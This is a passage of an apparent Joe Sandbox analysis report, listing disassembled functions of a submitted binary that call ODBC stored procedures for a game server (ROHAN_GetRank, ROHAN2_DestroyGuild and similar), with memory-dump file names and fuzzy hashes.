                                                                                                                            • Instruction ID: 85df150c9a6756b5837916bd0548e95072903f05e642585ff1c039d39d5a0389
                                                                                                                            • Opcode Fuzzy Hash: b67d2524bfd0f0510c93e19f26d0ad087f4e9ddf5889825a50bdb7880f03a732
                                                                                                                            • Instruction Fuzzy Hash: 471116B1648614ABEB20CF64CC46F997375EB94B18F104389F61C6F2C4DA776D508B58
                                                                                                                            Function 00435558 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 49COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_GetGameHelper] (?)},000000FD), ref: 00435578
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 004355B7
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 004355EC
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_GetGameHelper] (?)}, xrefs: 0043556F
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_GetGameHelper] (?)}
                                                                                                                            • API String ID: 0-619954807
                                                                                                                            • Opcode ID: 2642d7e8b35fdcfae78abbebb1f1a1bca14be51424200c13a4b593034a7ec2ed
                                                                                                                            • Instruction ID: 2ed9ad42721400cf42c927bf26c52beb75cf9b222d93aa468c93dab096e32b57
                                                                                                                            • Opcode Fuzzy Hash: 2642d7e8b35fdcfae78abbebb1f1a1bca14be51424200c13a4b593034a7ec2ed
                                                                                                                            • Instruction Fuzzy Hash: D611DEB5A54218ABEB20DF55CC52FAA7374EB44718F204289F6186E2C4D7BAA940CB5C
                                                                                                                            Function 0042D5C8 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 49COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN2_DestroyGuild](?)},000000FD), ref: 0042D5E8
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0042D627
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0042D65C
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN2_DestroyGuild](?)}, xrefs: 0042D5DF
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN2_DestroyGuild](?)}
                                                                                                                            • API String ID: 0-1007780442
                                                                                                                            • Opcode ID: 9368cb123a61a8f7cec66435179e05e9862b982eb487bd13e11ca8f0bc0bcd20
                                                                                                                            • Instruction ID: 84c8d159233e84e769824297301b4f2f82e2e6c377037669bc7a5713a7571c47
                                                                                                                            • Opcode Fuzzy Hash: 9368cb123a61a8f7cec66435179e05e9862b982eb487bd13e11ca8f0bc0bcd20
                                                                                                                            • Instruction Fuzzy Hash: 6111DBF5A44A18ABEB20CF54CD42FAF7374EB44B15F208289F7186F2C4D6B5A9408F58
                                                                                                                            Function 0043C6F8 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 49COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_PK_GetRewardItemOfCharacter] (?)},000000FD), ref: 0043C718
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0043C757
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0043C78C
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_PK_GetRewardItemOfCharacter] (?)}, xrefs: 0043C70F
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_PK_GetRewardItemOfCharacter] (?)}
                                                                                                                            • API String ID: 0-1541250590
                                                                                                                            • Opcode ID: e391768a6698a1c184f4603d174057f9f757cbdbc64f1e56a6f4f04d95df0477
                                                                                                                            • Instruction ID: 57bd585f3d764936c142a1905468367f4419cdbb0ca462dea2665eace27aa29d
                                                                                                                            • Opcode Fuzzy Hash: e391768a6698a1c184f4603d174057f9f757cbdbc64f1e56a6f4f04d95df0477
                                                                                                                            • Instruction Fuzzy Hash: DB111EB0A4521EABFB34DF44CD42FBA7335EB84714F208299F6182E6C4C6B56D409F98
                                                                                                                            Function 0044285E Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 49COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_GetCharCompletionQuestList] (?)},000000FD), ref: 0044287E
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 004428BD
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 004428F2
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_GetCharCompletionQuestList] (?)}, xrefs: 00442875
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_GetCharCompletionQuestList] (?)}
                                                                                                                            • API String ID: 0-3492506614
                                                                                                                            • Opcode ID: 0aecdc04f99457aeaa2c8ade81c3e574f918ac1d7c5509c238d7e62d3c439c27
                                                                                                                            • Instruction ID: a73803dbc361d0226c26922dbef7e008f7b0e64fddf955e8a481681e4a330eca
                                                                                                                            • Opcode Fuzzy Hash: 0aecdc04f99457aeaa2c8ade81c3e574f918ac1d7c5509c238d7e62d3c439c27
                                                                                                                            • Instruction Fuzzy Hash: 3A112EB4E40319ABEB24CF44CC42FE97374EB44B14F2142DDF7246E6C4D6B16A818B48
                                                                                                                            Function 00436801 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 49COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_ClearCharacterRecipe](?)},000000FD), ref: 00436821
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 00436860
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 00436895
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_ClearCharacterRecipe](?)}, xrefs: 00436818
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_ClearCharacterRecipe](?)}
                                                                                                                            • API String ID: 0-1658158914
                                                                                                                            • Opcode ID: bcc4fd23fa454c3160ba5c95451f4f79e65dd941f4aa7c4b5bfb9229f551eb34
                                                                                                                            • Instruction ID: 0d7e68c5c7c25c41238606827174e6d925e2908784614c91fbac156740d1fd5e
                                                                                                                            • Opcode Fuzzy Hash: bcc4fd23fa454c3160ba5c95451f4f79e65dd941f4aa7c4b5bfb9229f551eb34
                                                                                                                            • Instruction Fuzzy Hash: CA11BEB1A5431CABFB64DF54CC91FAA7325EB84714F20C389F6142A2C4CDB56A80CB58
                                                                                                                            Function 0042C958 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 49COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_GetRank](?)},000000FD), ref: 0042C978
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0042C9B7
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0042C9EC
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_GetRank](?)}, xrefs: 0042C96F
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_GetRank](?)}
                                                                                                                            • API String ID: 0-1376603591
                                                                                                                            • Opcode ID: d86df303a738826c0df9b0f94c2163e5c654eb8461db8d0fa8c22a26a274f111
                                                                                                                            • Instruction ID: 385576bbe5437345966159e20f427fdbe9ed0631967f59782479c324fd7675ae
                                                                                                                            • Opcode Fuzzy Hash: d86df303a738826c0df9b0f94c2163e5c654eb8461db8d0fa8c22a26a274f111
                                                                                                                            • Instruction Fuzzy Hash: 6D1112F1A44358ABEB20CF44CC42FAA7374EB44719F108289F7196E2C5D7B9E9408B4C
                                                                                                                            Function 00436975 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 49COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_GetCharacterRecipeList](?)},000000FD), ref: 00436995
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 004369D4
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 00436A09
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_GetCharacterRecipeList](?)}, xrefs: 0043698C
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
